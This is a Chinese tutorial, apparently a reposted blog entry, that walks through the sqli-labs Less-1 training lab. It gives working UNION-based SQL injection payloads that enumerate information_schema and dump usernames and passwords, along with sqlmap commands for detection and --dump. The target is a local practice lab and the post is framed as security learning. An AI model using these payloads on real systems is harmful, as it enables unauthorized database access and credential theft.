当前位置: 首页 > news >正文

sqli-labs:Less-1关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符型(单引号包裹)
  • 提示:参数id需以'闭合

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-1/,只需要将下面的sql语句粘贴即可。

2.1 正常请求⚡

?id=1

!https://via.placeholder.com/600x300?text=3.1+正常请求截图

说明:测试回显情况


2.2 判断字段数⚡

?id=1' order by 4 --+
  • ':闭合前引号
  • order by 4:探测字段数(报错说明字段数=3)
  • --+:注释后续语句
2.2.1 原始 SQL 语句(正常情况)

如果输入 id=1,PHP 代码会构造:

SELECT * FROM users WHERE id='1' LIMIT 0,1
  • '1' 是合法的字符串,SQL 语句正常执行。
2.2.2 改变后SQL语句(异常情况)

你的输入 id=1' order by 4 --+,PHP 代码拼接后:

SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
  • '1' → 原 SQL 的字符串部分
  • '(你额外添加的单引号)→ 闭合字符串,使 id='1' 变成 id='1' '(语法错误)
  • order by 4 → 注入的 SQL 代码
  • --+ → SQL 注释符,注释掉后面的 ' LIMIT 0,1,避免语法错误
2.2.3 最终执行的 SQL

由于 --+ 注释了后面的内容,实际执行的是:

SELECT * FROM users WHERE id='1' order by 4
  • ' 的作用:提前闭合 id='...' 的字符串,使后面的 order by 4 成为 SQL 语句的一部分,而不是字符串的一部分。

!https://via.placeholder.com/600x300?text=3.2+order+by截图


2.3 确定回显位⚡

?id=-1' union select 1,2,3 --+
  • -1:使前查询无结果
  • union select:联合查询回显位
2.3.1 为什么常用id=-1 与 union select 搭配?⭐

是因为union select要求​​前一个查询返回空​​,才能显示我们注入的数据:

SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,3--+

id=-1​​不存在​​ → 前查询返回空 → union select的数据直接显示。
id=1​​存在​​ → 前查询返回数据 → union select的数据被忽略​​(只显示 id=1的结果)。

2.3.2 为什么回显的位置在第二列和第三列⭐

这是因为 页面的 PHP 代码只显示了 usernamepassword 字段,而 union select 的结果必须和原查询的列数匹配,所以 23 对应的是页面回显的位置。
查看 PHP 代码:

echo 'Your Login name:'. $row['username'];  // 第2列
echo 'Your Password:' .$row['password'];    // 第3列
  • $row['username'] → 对应 UNION SELECT 的第 2 个字段(2)。
  • $row['password'] → 对应 UNION SELECT 的第 3 个字段(3)。
  • $row['id'](第1列)没有被显示,所以 1 不会出现在页面上。

!https://via.placeholder.com/600x300?text=3.3+union+select截图
在这里插入图片描述


2.4 获取基础信息⚡

?id=-1' union select 1,database(),user() --+
  • database():当前数据库名
  • user():当前用户

!https://via.placeholder.com/600x300?text=3.4+基础信息截图


2.5 获取表名⚡

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
  • group_concat():合并多行结果
  • information_schema:系统数据库
  • information_schema.tables:系统表
  • table_schema:数据库名称
  • table_name:数据表名称

!https://via.placeholder.com/600x300?text=3.6+表名截图


2.6 获取字段⚡

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
  • information_schema.columns:系统列(字段)
  • column_name:字段名称

!https://via.placeholder.com/600x300?text=3.7+列名截图


2.7 获取数据⚡

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

或者

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

!https://via.placeholder.com/600x300?text=3.8+数据截图


2.8 参数汇总表⭐

参数作用示例
'闭合引号id=1'
order by判断字段数order by 4
--+注释符--+
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-1/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-1/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
!https://via.placeholder.com/600x300?text=SQLMap截图
命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

  1. 注入类型:字符型单引号闭合
  2. 核心步骤:判字段→找回显→爆库→爆表→爆数据
  3. 工具对比:手工注入适合学习原理,SQLMap适合快速验证

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/305622.html

相关文章:

  • 移动管家手机控车系统硬件安装与软件绑定设置
  • 轻松打造Unity小游戏AR体验
  • 5,Docker运行最新ultralytics-main教程
  • 解析非法获取计算机信息系统数据罪中的其他技术手段
  • 如何在出售Windows11/10/8/7前彻底清除电脑数据
  • 破茧 JDBC:MyBatis 在 Spring Boot 中的轻量实践录
  • Cockpit管理服务器
  • 通达OA服务器无公网IP网络,如何通过内网穿透实现外网远程办公访问OA系统
  • 记录Linux下ping外网失败的问题
  • Docker学习其一
  • 【机器学习】pycharm使用SSH SFTP 远程连接 ubuntu服务器 进行开发+调试+数据训练
  • 在VS2022中调试ASP.NET项目时修改DLL或ASPX动态页面的原理及实现方法
  • 【推荐100个unity插件】Unity 创意编程库——Klak插件的使用
  • 计算机网络基础(二) --- TCP/IP网络结构(应用层)
  • 论文Review LSLAM BALM | 经典激光SLAM方案!港大MARS出品!RAL2021 | 激光BA优化
  • DIV 指令概述
  • AWS VPC NAT 网关可观测最佳实践
  • 【iOS】weak修饰符
  • 计算机组成原理(6) - 加法器
  • SpringBoot学习 |springboot概念+微服务架构
  • 【AI】入门级提示词模板:适用于ChatGPT、文心一言等主流模型
  • day25——HTML CSS 前端开发
  • 运维管理系统的优势和缺点
  • springcloud03-Nacos配置中心
  • HTML应用指南:利用POST请求获取全国公牛门店位置信息
  • Python 使用 asyncio 包处理并 发(使用asyncio包编写服务器)
  • WebSocket 简介与在 Vue 中的使用指南
  • LaTeX 创建工程并生成完整文档指南
  • tplink er2260t配置带vlan的pppoe拨号
  • 【人工智能99问】混合专家模型(MoE)是如何训练的?(18/99)